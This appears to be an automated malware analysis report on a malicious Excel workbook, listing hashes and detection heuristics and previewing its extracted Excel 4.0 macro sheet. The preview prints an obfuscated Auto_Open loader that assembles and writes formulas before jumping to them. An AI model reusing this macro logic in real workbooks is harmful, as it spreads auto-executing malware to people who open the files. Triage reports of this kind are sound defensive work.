Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 19135a7218551305…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:39:46 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: 69af778e1ff4eccd7517fa55ce163fb5 SHA-1: 2b365ac54a22b9a04ec2be05fd295add5fb4a9b3 SHA-256: 19135a721855130599524f7a1cb95cb3d51ba927dc68ed6aaf5c382dbac32cdf
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6537 bytes
SHA-256: d71bfbe2d639b81e3aa81aab70496295e434ada00be081c40c886d1f3d379fe3
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  eqDUJcq
' 0018     25 LABEL : Cell Value, String Constant - aoTUCywbxs len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H178 
' 0018     23 LABEL : Cell Value, String Constant - CfslNihs len=0 
' 0018     20 LABEL : Cell Value, String Constant - dvleO len=0 
' 0018     27 LABEL : Cell Value, String Constant - fEOeJNOqGNRN len=0 
' 0018     22 LABEL : Cell Value, String Constant - ffyDzWi len=0 
' 0018     22 LABEL : Cell Value, String Constant - FmBSqzi len=0 
' 0018     27 LABEL : Cell Value, String Constant - GjKCoiyLKPUY len=0 
' 0018     20 LABEL : Cell Value, String Constant - GNrSn len=0 
' 0018     20 LABEL : Cell Value, String Constant - gZXSW len=0 
' 0018     22 LABEL : Cell Value, String Constant - HKphodX len=0 
' 0018     27 LABEL : Cell Value, String Constant - HsJDgUzCYnOy len=0 
' 0018     27 LABEL : Cell Value, String Constant - MaaXadGDUTBt len=0 
' 0018     24 LABEL : Cell Value, String Constant - MTnWBMCfV len=0 
' 0018     24 LABEL : Cell Value, String Constant - oKPzbSrKd len=0 
' 0018     24 LABEL : Cell Value, String Constant - pHFkirnsL len=0 
' 0018     27 LABEL : Cell Value, String Constant - POCcowNYXIBT len=0 
' 0018     24 LABEL : Cell Value, String Constant - pRcpsMDkd len=0 
' 0018     26 LABEL : Cell Value, String Constant - rkjjwYVIWKs len=0 
' 0018     27 LABEL : Cell Value, String Constant - VbFulddwFDQa len=0 
' 0018     21 LABEL : Cell Value, String Constant - vFrQVm len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  eqDUJcq,H80,"SET.NAME("oKPzbSrKd",VALUE("0"))",""
'  eqDUJcq,H83,"SET.NAME("pHFkirnsL",oKPzbSrKd)",""
'  eqDUJcq,H86,"SET.NAME("MTnWBMCfV",oKPzbSrKd)",""
'  eqDUJcq,H91,"SET.NAME("ffyDzWi",COUNTA(POCcowNYXIBT))",""
'  eqDUJcq,H94,"SET.NAME("MaaXadGDUTBt",COUNTA(gZXSW))",""
'  eqDUJcq,H99,[],""
'  eqDUJcq,H103,"SET.NAME("aoTUCywbxs","")",""
'  eqDUJcq,H108,"pHFkirnsL",""
'  eqDUJcq,H112,"SET.NAME("dvleO",HLOOKUP("*",POCcowNYXIBT,pHFkirnsL,FALSE))",""
'  eqDUJcq,H117,"VbFulddwFDQa",""
'  eqDUJcq,H119,"SET.NAME("CfslNihs",oKPzbSrKd)",""
'  eqDUJcq,H121,[],""
'  eqDUJcq,H125,"CfslNihs",""
'  eqDUJcq,H130,"HKphodX",""
'  eqDUJcq,H134,"GjKCoiyLKPUY",""
'  eqDUJcq,H136,"FmBSqzi",""
'  eqDUJcq,H140,"SET.NAME("rkjjwYVIWKs",VALUE(HLOOKUP("*",gZXSW,FmBSqzi,FALSE)))",""
'  eqDUJcq,H145,"vFrQVm",""
'  eqDUJcq,H149,"aoTUCywbxs",""
'  eqDUJcq,H151,"MTnWBMCfV",""
'  eqDUJcq,H156,NEXT(),""
'  eqDUJcq,H158,"HsJDgUzCYnOy",""
'  eqDUJcq,H163,"SET.NAME("f",INT(T(FORMULA(T(aoTUCywbxs)&"",""&T(HsJDgUzCYnOy)))))",""
'  eqDUJcq,H167,"fEOeJNOqGNRN",""
'  eqDUJcq,H171,NEXT(),""
'  eqDUJcq,H174,RETURN(),""
'  eqDUJcq,H202,"SET.NAME("GNrSn",H80)",""
'  eqDUJcq,H207,"POCcowNYXIBT",""
'  eqDUJcq,H209,"SET.NAME("gZXSW",R43C11)",""
'  eqDUJcq,H214,"SET.NAME("fEOeJNOqGNRN",223)",""
'  eqDUJcq,H219,"SET.NAME("pRcpsMDkd",8)",""
'  eqDUJcq,H222,GNrSn(),""
'  eqDUJcq,H223,HALT(),""

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